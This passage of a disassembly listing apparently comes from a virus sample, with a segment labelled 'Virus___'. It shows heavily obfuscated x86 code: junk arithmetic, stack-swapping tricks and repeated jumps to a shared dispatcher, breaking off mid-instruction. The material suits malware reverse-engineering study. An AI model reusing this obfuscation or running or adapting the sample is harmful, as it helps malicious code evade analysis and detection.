--------------------------------------------------------------------------- loc_575D33: ; CODE XREF: Virus___:00575B65j and edx, 440B4465h add edx, 0FFFFFFFFh and edx, 13C25B1Dh push edi mov edi, 2CB9240Eh not edi not edi not edi sub edi, 2FDC0F35h jmp loc_57E7F4 ; --------------------------------------------------------------------------- push dword ptr [edi+38h] push dword ptr [esp] pop ecx push edi mov edi, esp add edi, 4 jmp loc_576F1F ; --------------------------------------------------------------------------- loc_575D71: ; CODE XREF: Virus___:00578A35j mov [esp], edx push edi mov edi, 3A314B8Ah push edi not dword ptr [esp] pop edi inc edi jmp loc_57E5E4 ; --------------------------------------------------------------------------- loc_575D85: ; CODE XREF: Virus___:0057876Dj pop esp jmp loc_578A2D ; --------------------------------------------------------------------------- loc_575D8B: ; CODE XREF: Virus___:0057ADEEj mov ecx, [esp] add esp, 4 jmp loc_57B1D0 ; --------------------------------------------------------------------------- loc_575D99: ; CODE XREF: Virus___:00573B9Cj push edi mov edi, 184D1827h xchg eax, edi push eax not dword ptr [esp] pop eax xchg eax, edi sub edi, 1 neg edi inc edi sub edi, 0AB80C1B1h push edi mov edx, [esp] add esp, 4 mov edi, [esp] push edi mov edi, esp add edi, 4 push eax mov eax, 4 add edi, eax pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp xor [esp+4], edx pop edx pop ecx xor ecx, 6CCC5679h push 689Eh mov [esp], esi jmp loc_57571A ; --------------------------------------------------------------------------- loc_575DF4: ; CODE XREF: Virus___:0057C95Dj add edx, 4 jmp loc_57CA8A ; --------------------------------------------------------------------------- loc_575DFF: ; CODE XREF: Virus___:005733AAj push esp pop eax add eax, 4 push ebp push esp pop ebp jmp loc_5780CC ; --------------------------------------------------------------------------- loc_575E0E: ; CODE XREF: Virus___:0057923Aj and dl, ch pop ecx dec dl neg dl shl dl, 4 add dl, 38h xor dl, 0FCh and bl, dl mov edx, [esp] jmp loc_57C283 ; --------------------------------------------------------------------------- loc_575E28: ; CODE XREF: Virus___:00577991j mov ebp, 2 add ecx, ebp pop ebp push ecx jmp loc_572DB6 ; --------------------------------------------------------------------------- loc_575E36: ; CODE XREF: Virus___:0057E7EFj mov esi, ebx pop ebx xor esi, 16C81CEBh jmp loc_573284 ; --------------------------------------------------------------------------- loc_575E44: ; CODE XREF: Virus___:00577706j pop esp mov ax, [esp] push edx mov edx, esp push ecx mov ecx, 4 push eax mov eax, 4BF45C28h jmp loc_57E7E3 ; --------------------------------------------------------------------------- loc_575E5D: ; CODE XREF: Virus___:005789FDj not esi xchg ecx, esi not ecx xor esi, ecx xor ecx, esi xor esi, ecx inc esi shl esi, 3 push edi jmp loc_57AF53 ; --------------------------------------------------------------------------- loc_575E73: ; CODE XREF: Virus___:005759E1j xor bl, dh xor dh, bl xor bl, dh jmp loc_578941 ; --------------------------------------------------------------------------- loc_575E7E: ; CODE XREF: Virus___:0057675Aj add edi, edx sub edi, 76E75578h pop edx add edi, 29657DBDh jmp loc_576834 ; --------------------------------------------------------------------------- loc_575E92: ; CODE XREF: Virus___:0057C0CBj sub edi, 71674E1Fh sub edi, 6A691EB0h pop ebp jmp loc_57A81E ; --------------------------------------------------------------------------- loc_575EA4: ; CODE XREF: Virus___:00577FA8j push 552Bh jmp loc_579C6A ; --------------------------------------------------------------------------- loc_575EAE: ; CODE XREF: Virus___:0057D5A4j mov ebp, 3EA43990h mov ebx, 157C0414h jmp loc_57DF5C ; --------------------------------------------------------------------------- loc_575EBD: ; CODE XREF: Virus___:0057E889j add esp, 4 pop dword ptr [esp] pop esp jmp loc_5758A1 ; --------------------------------------------------------------------------- loc_575ECC: ; CODE XREF: Virus___:0057D82Aj push eax push 4 pop eax add edx, 367407FBh jmp loc_574F70 ; --------------------------------------------------------------------------- loc_575EDE: ; CODE XREF: Virus___:0057E663j xor ecx, 0CD7E8300h mov esi, ecx pop ecx xor esi, 732D0596h push ebx mov ebx, 734D2A24h xor esi, ebx pop ebx push esi sub dword ptr [esp], 4CCC0574h pop ebx push esi mov esi, 4CCC0574h add ebx, esi pop esi jmp loc_5755B1 ; --------------------------------------------------------------------------- loc_575F0D: ; CODE XREF: Virus___:00576E5Ej push dword ptr [esp] pop ebx jmp loc_57E482 ; --------------------------------------------------------------------------- loc_575F16: ; CODE XREF: Virus___:0057B51Bj pop ebp sub edi, 1CDD50FFh pop ebp jmp loc_57D1C0 ; --------------------------------------------------------------------------- loc_575F23: ; CODE XREF: Virus___:005740F2j mov bh, 25h jmp loc_573E11 ; --------------------------------------------------------------------------- loc_575F2A: ; CODE XREF: Virus___:0057E9EFj shr eax, 2 xor eax, 5728602Ah jmp loc_577890 ; --------------------------------------------------------------------------- loc_575F37: ; CODE XREF: Virus___:0057A55Ej pop edx jmp loc_578E95 ; --------------------------------------------------------------------------- loc_575F3D: ; CODE XREF: Virus___:005748DCj dec edi push ebx mov ebx, 0D3F5BBEAh sub edi, ebx pop ebx jmp loc_57B048 ; --------------------------------------------------------------------------- loc_575F4C: ; CODE XREF: Virus___:00576345j pop edi add esp, 4 add edi, 4 sub edi, 2 push edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_57CEA9 ; --------------------------------------------------------------------------- loc_575F7A: ; CODE XREF: Virus___:00576F54j push esp pop ebp sub esp, 4 jmp loc_5773BA ; --------------------------------------------------------------------------- loc_575F87: ; CODE XREF: Virus___:005755C1j pop edi xor ebx, ecx jmp loc_57E36C ; --------------------------------------------------------------------------- loc_575F8F: ; CODE XREF: Virus___:0057B37Ej pop eax shl dh, 3 shl dh, 5 shl dh, 4 neg dh jmp loc_576FCD ; --------------------------------------------------------------------------- loc_575FA0: ; CODE XREF: Virus___:00577D80j sub esp, 4 mov [esp], edx jmp loc_57C6D9 ; --------------------------------------------------------------------------- loc_575FAE: ; CODE XREF: Virus___:00573F66j or edi, 3D095249h jmp loc_575BF6 ; --------------------------------------------------------------------------- loc_575FB9: ; CODE XREF: Virus___:0057E7CEj pop ebx sub ebp, edx pop edx add ebp, 1B1467B5h sub ebp, eax sub ebp, 1B1467B5h add ebp, 136A3DACh mov eax, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], dx push ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_575FED: ; CODE XREF: Virus___:0057A88Fj add edx, eax add edx, 30A76486h mov eax, [esp] jmp loc_57552F ; --------------------------------------------------------------------------- loc_575FFD: ; CODE XREF: Virus___:00579EFDj add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_574CEE ; --------------------------------------------------------------------------- loc_57600E: ; CODE XREF: Virus___:005739FCj or esi, 25115438h jmp loc_5797E1 ; --------------------------------------------------------------------------- loc_576019: ; CODE XREF: Virus___:00574CC6j mov [esp], eax push eax jmp loc_57A382 ; --------------------------------------------------------------------------- loc_576022: ; CODE XREF: Virus___:00578BF4j mov eax, edi mov edx, eax pop eax pop edi xor eax, edx push dword ptr [esp] jmp loc_573C46 ; --------------------------------------------------------------------------- loc_576032: ; CODE XREF: Virus___:0057C53Cj add ebx, 4BD24DA5h jmp loc_5734B4 ; --------------------------------------------------------------------------- loc_57603D: ; CODE XREF: Virus___:0057C5C4j movzx eax, al jmp loc_573F2F ; --------------------------------------------------------------------------- loc_576045: ; CODE XREF: Virus___:0057C849j pop ecx add esp, 4 loc_576049: ; CODE XREF: Virus___:0057DFCFj push 614Bh jmp loc_577589 ; --------------------------------------------------------------------------- loc_576053: ; CODE XREF: Virus___:0057D484j pop eax jmp loc_57B510 ; --------------------------------------------------------------------------- loc_576059: ; CODE XREF: Virus___:00576B92j push ebx mov ebx, 35B397Ch not ebx xor ebx, 30CC71EBh xor ebx, 0E2F898D1h add esi, ebx pop ebx pop edi inc esi add esi, 0CFF2569h sub esi, 3C688FDDh mov edi, esi pop esi neg edi shl edi, 2 dec edi dec edi not edi add edi, 33FBDE83h jmp loc_5743B1 ; --------------------------------------------------------------------------- loc_576095: ; CODE XREF: Virus___:0057E4A6j sub edx, eax mov eax, [esp] add esp, 4 jmp loc_57BF67 ; --------------------------------------------------------------------------- loc_5760A2: ; CODE XREF: Virus___:0057C098j mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push 27A1h mov [esp], eax push dword ptr [esp] mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_574679 ; --------------------------------------------------------------------------- loc_5760D4: ; CODE XREF: Virus___:00574F02j sub ecx, 4 push ecx jmp loc_57A0BA ; --------------------------------------------------------------------------- loc_5760DD: ; CODE XREF: Virus___:00575B76j xchg edi, [esp] pop esp xor ecx, [esp] jmp loc_57EC84 ; --------------------------------------------------------------------------- loc_5760E9: ; CODE XREF: Virus___:0057B23Bj mov eax, [esp] add esp, 4 mov esi, [esp] add esp, 4 jmp loc_57CC49 ; --------------------------------------------------------------------------- loc_5760FD: ; CODE XREF: Virus___:0057C918j mov edx, ecx pop ecx sub edx, edi mov edi, edx pop edx or edi, 64EC19D4h push eax mov eax, 3B4F3CEDh sub eax, 9A167092h add edi, eax pop eax and ebp, edi pop edi sub ebp, 709365FBh sub ebp, 90A19E31h jmp loc_577C02 ; --------------------------------------------------------------------------- loc_57612D: ; CODE XREF: Virus___:005754FBj pop ecx jmp loc_579ADF ; --------------------------------------------------------------------------- loc_576133: ; CODE XREF: Virus___:00572C07j imul cx push small 2193h mov [esp], dx push ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_576146: ; CODE XREF: Virus___:00575692j push 2D26h mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_5735BB ; --------------------------------------------------------------------------- loc_57615E: ; CODE XREF: Virus___:0057ABF3j mov bl, dl push eax mov al, bl jmp loc_574527 ; --------------------------------------------------------------------------- loc_576168: ; CODE XREF: Virus___:0057338Fj sub [edi+24h], eax push dword ptr [esp] push dword ptr [esp] pop eax push 40C9h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_578CEC ; --------------------------------------------------------------------------- loc_57618D: ; CODE XREF: Virus___:0057B066j add esp, 4 add edx, 77964C6Fh jmp loc_57B457 ; --------------------------------------------------------------------------- loc_57619E: ; CODE XREF: Virus___:0057E268j pop eax add bl, al add bl, 6 push ecx mov ch, 0A0h sub bl, 7Dh jmp loc_574E7E ; --------------------------------------------------------------------------- loc_5761AF: ; CODE XREF: Virus___:00579116j xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_578D81 ; --------------------------------------------------------------------------- loc_5761C0: ; CODE XREF: Virus___:0057EDCFj mov esp, [esp] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5761C8: ; CODE XREF: Virus___:00579204j sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebp push ebx push 659A4A85h jmp loc_57A878 ; --------------------------------------------------------------------------- loc_5761E2: ; CODE XREF: Virus___:0057A806j push ebp push eax push ebx mov ebx, 4B982C83h shl ebx, 2 sub ebx, 0DA9693E7h mov eax, ebx mov ebx, [esp] jmp loc_5773AA ; --------------------------------------------------------------------------- loc_5761FD: ; CODE XREF: Virus___:00572C54j add ebp, eax add ebp, 7E422F0Ah jmp loc_578772 ; --------------------------------------------------------------------------- loc_57620A: ; CODE XREF: Virus___:00578EF4j push 136F3228h pop eax add eax, 0EC90CDDCh mov ebx, eax pop eax add eax, 464F2AF9h add eax, ebx sub eax, 464F2AF9h pop ebx add eax, 4 xchg eax, [esp] jmp loc_57C3C3 ; --------------------------------------------------------------------------- loc_576230: ; CODE XREF: Virus___:0057E585j sub esp, 4 mov [esp], ecx jmp loc_5789C1 ; --------------------------------------------------------------------------- loc_57623E: ; CODE XREF: Virus___:0057E93Aj or ebx, ecx pop ecx xor ebx, 89771B9Ah mov ecx, ebx pop ebx and ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_573100 ; --------------------------------------------------------------------------- loc_576257: ; CODE XREF: Virus___:0057C2C3j xor edi, 39BE53F2h jmp loc_576444 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5799C8 ; --------------------------------------------------------------------------- loc_57626B: ; CODE XREF: Virus___:005793FFj xchg ecx, [esp] pop esp and eax, esi mov esi, [esp] add esp, 4 jmp loc_577E36 ; --------------------------------------------------------------------------- loc_57627F: ; CODE XREF: Virus___:0057B0C2j add al, 0C2h sub al, cl sub al, 0C2h pop ecx add al, ch add al, 0F6h sub al, 0D7h push dword ptr [esp] jmp loc_57C666 ; --------------------------------------------------------------------------- push edx jmp loc_578053 ; --------------------------------------------------------------------------- loc_57629A: ; CODE XREF: Virus___:00579BB9j sub eax, ebx sub eax, 50854196h sub esp, 4 mov [esp], esi push ebx jmp loc_573438 ; --------------------------------------------------------------------------- loc_5762AD: ; CODE XREF: Virus___:005748FBj and cl, 21h sub cl, 6 xor ah, cl pop ecx or ch, ah jmp loc_574E5A ; --------------------------------------------------------------------------- loc_5762BD: ; CODE XREF: Virus___:0057B7F7j push eax mov eax, 7C07DF1h mov edx, 207D72D8h xor edx, eax jmp loc_5745D5 ; --------------------------------------------------------------------------- loc_5762CF: ; CODE XREF: Virus___:0057BE04j push ebx mov ebx, 76E34B38h jmp loc_57F026 ; --------------------------------------------------------------------------- loc_5762DA: ; CODE XREF: Virus___:00577E53j add ebp, 2BE381Ch pop ebx add edi, ebp jmp loc_5789A2 ; --------------------------------------------------------------------------- loc_5762E8: ; CODE XREF: Virus___:0057904Dj xor bl, ah jmp loc_57C07A ; --------------------------------------------------------------------------- loc_5762EF: ; CODE XREF: Virus___:0057B153j add esi, edi jmp loc_57C73D ; --------------------------------------------------------------------------- loc_5762F6: ; CODE XREF: Virus___:005748C2j mov eax, esi jmp loc_573971 ; --------------------------------------------------------------------------- loc_5762FD: ; CODE XREF: Virus___:0057B4C2j mov edx, 1215002Ah jmp loc_578FD9 ; --------------------------------------------------------------------------- loc_576307: ; CODE XREF: Virus___:00573FC3j mov edi, eax pop eax jmp loc_57B2F1 ; --------------------------------------------------------------------------- loc_57630F: ; CODE XREF: Virus___:0057C6D4j pop eax shl edi, 5 neg edi push edi not dword ptr [esp] jmp loc_576B83 ; --------------------------------------------------------------------------- loc_57631E: ; CODE XREF: Virus___:0057C1F0j push esi jmp loc_57A24E ; --------------------------------------------------------------------------- loc_576324: ; CODE XREF: Virus___:0057B0DDj xor edi, edx pop edx add edi, 0B41647Dh jmp loc_57AEB5 ; --------------------------------------------------------------------------- loc_576332: ; CODE XREF: Virus___:00574721j mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_575F4C ; --------------------------------------------------------------------------- loc_57634A: ; CODE XREF: Virus___:0057DABFj push ebp jmp loc_57AA91 ; --------------------------------------------------------------------------- loc_576350: ; CODE XREF: Virus___:0057B7CEj or edi, 7BC213A1h push esi mov esi, 7C760117h not esi jmp loc_57E72F ; --------------------------------------------------------------------------- loc_576363: ; CODE XREF: Virus___:00578645j sub eax, 3F31746Dh push esi push edx jmp loc_576C86 ; --------------------------------------------------------------------------- loc_57636F: ; CODE XREF: Virus___:0057E76Aj pop edi jmp loc_579D72 ; --------------------------------------------------------------------------- loc_576375: ; CODE XREF: Virus___:005770AAj push eax sub dword ptr [esp], 437805A0h mov edi, [esp] jmp loc_5772D5 ; --------------------------------------------------------------------------- loc_576385: ; CODE XREF: Virus___:0057AEE3j not edx inc edx shr edx, 3 sub edx, 181016CBh add ebp, edx pop edx jmp loc_574A12 ; --------------------------------------------------------------------------- loc_576399: ; CODE XREF: Virus___:0057A52Bj xor edx, [esp] jmp loc_57CCE4 ; --------------------------------------------------------------------------- loc_5763A1: ; CODE XREF: Virus___:00577AC8j pop eax jmp loc_57945A ; --------------------------------------------------------------------------- loc_5763A7: ; CODE XREF: Virus___:0057C3B6j push ebx mov ebx, 3F7B4932h jmp loc_5785AA ; --------------------------------------------------------------------------- loc_5763B2: ; CODE XREF: Virus___:0057EEA3j push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_575681 ; --------------------------------------------------------------------------- loc_5763C3: ; CODE XREF: Virus___:0057BC21j mov ebx, 0D79D8C63h mov ecx, ebx mov ebx, [esp] push edi push esp pop edi add edi, 4 jmp loc_575573 ; --------------------------------------------------------------------------- loc_5763DB: ; CODE XREF: Virus___:0057EC1Fj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5763E0: ; CODE XREF: Virus___:00576428j add ebx, 55F56171h add ebx, ebp sub ebx, 55F56171h sub ebx, 7D1158E7h pop ebp xchg ebx, [esp] mov esp, [esp] mov cx, [esp] sub esp, 4 jmp loc_574CCB ; --------------------------------------------------------------------------- loc_57640A: ; CODE XREF: Virus___:0057C3E7j push esi mov esi, 163C4FCAh jmp loc_573BFE ; --------------------------------------------------------------------------- loc_576415: ; CODE XREF: Virus___:0057763Dj mov ecx, esp jmp loc_57C13E ; --------------------------------------------------------------------------- loc_57641C: ; CODE XREF: Virus___:00577EE6j xor ebp, 2460843Ah add ebx, 7D1158E7h jmp loc_5763E0 ; --------------------------------------------------------------------------- loc_57642D: ; CODE XREF: Virus___:0057D872j xchg edx, [esp] mov esp, [esp] sub eax, 41D85EC3h sub esp, 4 mov [esp], ebx push ebp jmp loc_57D6D0 ; --------------------------------------------------------------------------- loc_576444: ; CODE XREF: Virus___:0057625Dj add edi, 0BDD5D8D1h jmp loc_57DDD8 ; --------------------------------------------------------------------------- loc_57644F: ; CODE XREF: Virus___:0057C949j push eax jmp loc_57CF83 ; --------------------------------------------------------------------------- loc_576455: ; CODE XREF: Virus___:00573E42j add esp, 2 add bl, dl jmp loc_5798B7 ; --------------------------------------------------------------------------- loc_57645F: ; CODE XREF: Virus___:0057C47Dj add ebx, 4 jmp loc_57BE09 ; --------------------------------------------------------------------------- loc_576467: ; CODE XREF: Virus___:0057AEE9j mov edx, 2C60544Fh or ebp, edx pop edx xor ebp, 0B9F5E8C6h sub eax, ebp jmp loc_579AAA ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push esi jmp loc_57A068 ; --------------------------------------------------------------------------- loc_576486: ; CODE XREF: Virus___:00578EEBj shl edx, 1 push ebp push edx jmp loc_5732FE ; --------------------------------------------------------------------------- loc_57648F: ; CODE XREF: Virus___:00578EBDj neg eax jmp loc_57E0B9 ; --------------------------------------------------------------------------- loc_576496: ; CODE XREF: Virus___:005796EFj push eax jmp loc_57BD58 ; --------------------------------------------------------------------------- loc_57649C: ; CODE XREF: Virus___:0057300Dj and ebx, 69722151h jmp loc_574577 ; --------------------------------------------------------------------------- loc_5764A7: ; CODE XREF: Virus___:005733DFj add edi, 3BB53C07h pop ebx sub ebx, 6AD1E7Ch sub ebx, 60632F68h sub ebx, edi add ebx, 60632F68h add ebx, 6AD1E7Ch jmp loc_57A457 ; --------------------------------------------------------------------------- align 2 dw 51D8h ; --------------------------------------------------------------------------- mov cl, 0B3h jmp loc_57B44D ; --------------------------------------------------------------------------- loc_5764D7: ; CODE XREF: Virus___:0057345Bj push esp pop ebp jmp loc_57306A ; --------------------------------------------------------------------------- loc_5764DE: ; CODE XREF: Virus___:00576B10j shl esi, 1 shl esi, 7 add esi, 202B7E97h add esi, 78CAEBFAh mov ebx, esi mov esi, [esp] push edi mov edi, esp add edi, 4 jmp loc_57E639 ; --------------------------------------------------------------------------- loc_576502: ; CODE XREF: Virus___:005731DBj pop ebx jmp loc_578C44 ; --------------------------------------------------------------------------- loc_576508: ; CODE XREF: Virus___:0057E4E3j mov [esp], ecx push ebp jmp loc_57BA10 ; --------------------------------------------------------------------------- loc_576511: ; CODE XREF: Virus___:0057C4BBj add bh, 0B3h sub bh, 0E9h sub al, bh pop ebx add bl, 0A0h push 5506h mov [esp], eax mov ah, 80h and ah, 88h not ah sub ah, 79h jmp loc_57E266 ; --------------------------------------------------------------------------- loc_576534: ; CODE XREF: Virus___:0057AD4Aj sub ebx, eax add ebx, 68063354h sub ebx, 392741A1h sub ebx, 11E20006h sub ebx, 1DDB2632h pop dword ptr [eax] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_576555: ; CODE XREF: Virus___:00572A34j push esp push dword ptr [esp] pop eax add esp, 4 add eax, 4 add eax, 2 push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_5781AD ; --------------------------------------------------------------------------- loc_576577: ; CODE XREF: Virus___:0057861Fj add dword ptr [esp], 4 pop ebx push edx push 52751FFBh pop edx and edx, 525D5B5Eh sub edx, 48FE1293h or edx, 6DE0639Eh inc edx or edx, 67380DEDh jmp loc_57E108 ; --------------------------------------------------------------------------- loc_5765A1: ; CODE XREF: Virus___:0057463Bj add dword ptr [esp], 4 pop eax push 2E9h mov [esp], ebx jmp loc_5735E8 ; --------------------------------------------------------------------------- loc_5765B3: ; CODE XREF: Virus___:00579F21j add eax, esi jmp loc_57E0EE ; --------------------------------------------------------------------------- loc_5765BA: ; CODE XREF: Virus___:0057C368j pop ebp add ebp, 4 sub ebp, 4 push 43AAh mov [esp], ebp jmp loc_57CE61 ; --------------------------------------------------------------------------- loc_5765D1: ; CODE XREF: Virus___:00574002j mov ebx, esp jmp loc_57714D ; --------------------------------------------------------------------------- loc_5765D8: ; CODE XREF: Virus___:00574B92j xor ecx, [esp] pop esp shr ecx, 6 push eax mov eax, esp push ebx mov ebx, 4 add eax, ebx pop ebx sub eax, 4 xchg eax, [esp] pop esp jmp loc_57E570 ; --------------------------------------------------------------------------- loc_5765F9: ; CODE XREF: Virus___:0057EB75j push eax mov eax, 3C497DFFh sub eax, 0DFDC257Ch sub ebp, eax pop eax or ebp, 4FA27F8Bh or ebp, 4C9141C8h shr ebp, 2 sub esp, 4 mov [esp], ecx jmp loc_57BEBF ; --------------------------------------------------------------------------- loc_576621: ; CODE XREF: Virus___:00579997j push esp push dword ptr [esp] pop eax add esp, 4 jmp loc_5776DB ; --------------------------------------------------------------------------- loc_576631: ; CODE XREF: Virus___:0057E304j push 1307h mov [esp], edi push esp pop edi push ebp jmp loc_57E956 ; --------------------------------------------------------------------------- loc_576641: ; CODE XREF: Virus___:00576CBFj push esi mov esi, esp add esi, 4 jmp loc_578767 ; --------------------------------------------------------------------------- loc_57664F: ; CODE XREF: Virus___:0057769Cj mov ecx, 71865C4Dh jmp loc_57405E ; --------------------------------------------------------------------------- loc_576659: ; CODE XREF: Virus___:0057CD59j mov eax, esp add eax, 4 push edx mov edx, 15702D00h add edx, 4ED760DEh sub edx, 64478DDAh add eax, edx pop edx jmp loc_5796A3 ; --------------------------------------------------------------------------- loc_57667A: ; CODE XREF: Virus___:00579BF9j add ecx, 0FFFFFFFFh inc ecx jmp loc_5783D0 ; --------------------------------------------------------------------------- loc_576683: ; CODE XREF: Virus___:00577B09j push dword ptr [esp+4] jmp loc_575BD4 ; --------------------------------------------------------------------------- loc_57668C: ; CODE XREF: Virus___:0057BA0Bj push 5C87h mov [esp], ebp mov ebp, 800h and eax, ebp push dword ptr [esp] jmp loc_57DA0C ; --------------------------------------------------------------------------- loc_5766A3: ; CODE XREF: Virus___:0057694Cj sub esp, 4 jmp loc_57CDC2 ; --------------------------------------------------------------------------- loc_5766AE: ; CODE XREF: Virus___:00573065j add ebx, 26C928FFh xor ebx, 35BB713Dh jmp loc_577689 ; --------------------------------------------------------------------------- loc_5766BF: ; CODE XREF: Virus___:00573234j pop edx add ecx, 4 jmp loc_57B050 ; --------------------------------------------------------------------------- loc_5766CB: ; CODE XREF: Virus___:0057B697j push ebx mov ebx, 5622B50h sub ebx, 5622B4Ch add eax, ebx pop ebx add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_57B786 ; --------------------------------------------------------------------------- loc_5766ED: ; CODE XREF: Virus___:00577584j add esp, 4 jmp loc_57A782 ; --------------------------------------------------------------------------- loc_5766F5: ; CODE XREF: Virus___:0057EB3Fj not dword ptr [esp] pop edi xor ebp, edi xor edi, ebp xor ebp, edi push 2542h mov [esp], ebp jmp loc_57E500 ; --------------------------------------------------------------------------- loc_57670C: ; CODE XREF: Virus___:00579388j push eax mov al, ch mov bh, al pop eax pop ecx sub bh, 0E0h add bh, 0Ch sub al, bh push dword ptr [esp] pop ebx add esp, 4 push ebx push eax mov al, 3Dh jmp loc_57A0D4 ; --------------------------------------------------------------------------- loc_57672E: ; CODE XREF: Virus___:005769F7j sub ecx, esi pop esi xor ecx, 221C464Fh add ecx, 0FFFFFFFFh add ecx, 120C9462h mov edi, 636809F1h xor edi, ecx mov ecx, [esp] push 598Bh jmp loc_57D497 ; --------------------------------------------------------------------------- loc_576754: ; CODE XREF: Virus___:00574598j add edi, 76E75578h jmp loc_575E7E ; --------------------------------------------------------------------------- loc_57675F: ; CODE XREF: Virus___:00573C0Bj add edi, esi pop esi xchg edi, [esp] jmp loc_579DFA ; --------------------------------------------------------------------------- loc_57676A: ; CODE XREF: Virus___:0057548Dj mov [esp], ecx jmp loc_5791B7 ; --------------------------------------------------------------------------- loc_576772: ; CODE XREF: Virus___:005737DCj sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx mov ecx, 4 sub ebp, 152433B8h jmp loc_57339B ; --------------------------------------------------------------------------- loc_57678C: ; CODE XREF: Virus___:00578F95j push ebx mov ebx, 52B05C8h sub ebx, 673F62C8h jmp loc_5739AD ; --------------------------------------------------------------------------- loc_57679D: ; CODE XREF: Virus___:00573BF0j shl eax, 6 xchg eax, ebp jmp loc_574CD4 ; --------------------------------------------------------------------------- loc_5767A6: ; CODE XREF: Virus___:0057C243j add eax, 4 push edx push esi mov esi, 4 mov edx, esi jmp loc_577108 ; --------------------------------------------------------------------------- loc_5767B9: ; CODE XREF: Virus___:00578919j mov edx, ebp pop ebp sub eax, edx pop edx push 5599h mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push esi jmp loc_576B0A ; --------------------------------------------------------------------------- loc_5767DF: ; CODE XREF: Virus___:0057DAB9j sub dx, si jmp loc_572F72 ; --------------------------------------------------------------------------- loc_5767E7: ; CODE XREF: Virus___:0057DF1Bj push esi push edi push 23C56489h jmp loc_5797EB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_576802: ; CODE XREF: Virus___:00575107j mov ax, [esp] push 7014h mov [esp], ebx mov ebx, esp push edx mov edx, 4 add ebx, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 2 jmp loc_573A52 ; --------------------------------------------------------------------------- loc_576834: ; CODE XREF: Virus___:00575E8Dj add edi, esi jmp loc_57B703 ; --------------------------------------------------------------------------- loc_57683B: ; CODE XREF: Virus___:00573A46j push edx jmp loc_57E882 ; --------------------------------------------------------------------------- mov eax, [esp] sub esp, 4 mov [esp], edi push esp pop edi add edi, 4 push 302Fh mov [esp], ebx push esi push 0E9569F8h jmp loc_57AD4F ; --------------------------------------------------------------------------- loc_576868: ; CODE XREF: Virus___:00572FD5j pop ecx xchg edi, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 1AFC2AC3h push 0C88h mov [esp], ecx mov ecx, 0ECCFE4BDh add ebp, ecx mov ecx, [esp] add esp, 4 push esi mov esi, 5C56160Bh jmp loc_57CDB3 ; --------------------------------------------------------------------------- loc_57689A: ; CODE XREF: Virus___:0057EC26j sub eax, 7456E8Ch pop edi sub eax, ebx sub eax, 35CA399Dh pop ebx sub esp, 4 jmp loc_57778F ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edi push esp pop edi add edi, 4 push eax push ebx jmp loc_577BE2 ; --------------------------------------------------------------------------- loc_5768CC: ; CODE XREF: Virus___:0057784Dj mov ax, [esp] add esp, 2 sub bh, al push edx mov dh, 0C7h inc dh shl dh, 2 or dh, 99h add dh, 0EFh sub bh, dh pop edx pop eax xor al, bh push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_574789 ; --------------------------------------------------------------------------- loc_576905: ; CODE XREF: Virus___:00578712j xor ebp, 6ADDEA3h jmp loc_578EE1 ; --------------------------------------------------------------------------- loc_576910: ; CODE XREF: Virus___:0057425Aj sub ebp, 6F1133CCh pop ebx or ebp, 4E5949AFh jmp loc_57D40B ; --------------------------------------------------------------------------- loc_576922: ; CODE XREF: Virus___:00578267j pop edi sub esp, 4 mov [esp], edx jmp loc_576ABA ; --------------------------------------------------------------------------- loc_576931: ; CODE XREF: Virus___:00576B53j pop edx add edx, edi pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57694A: ; CODE XREF: Virus___:0057DB77j add ebx, eax jmp loc_5766A3 ; --------------------------------------------------------------------------- lodsd push esi push ebp mov ebp, 5F5700E3h not ebp jmp loc_57A46D ; --------------------------------------------------------------------------- loc_576960: ; CODE XREF: Virus___:00577B68j push edx push 1B781A77h mov edx, [esp] add esp, 4 shl edx, 3 jmp loc_578F66 ; --------------------------------------------------------------------------- loc_576977: ; CODE XREF: Virus___:0057D7CCj push edx mov dl, 0E9h jmp loc_577F64 ; --------------------------------------------------------------------------- loc_57697F: ; CODE XREF: Virus___:0057B6D2j jmp loc_5729F6 ; --------------------------------------------------------------------------- mov ax, [esp] push edx jmp loc_57C061 ; --------------------------------------------------------------------------- loc_57698E: ; CODE XREF: Virus___:0057A7F8j add esp, 4 jmp loc_575D0F ; --------------------------------------------------------------------------- loc_576996: ; CODE XREF: Virus___:0057E288j mov edx, [esp] add esp, 4 jmp loc_57EEF1 ; --------------------------------------------------------------------------- loc_5769A4: ; CODE XREF: Virus___:005779D5j mov ecx, esp add ecx, 4 sub ecx, 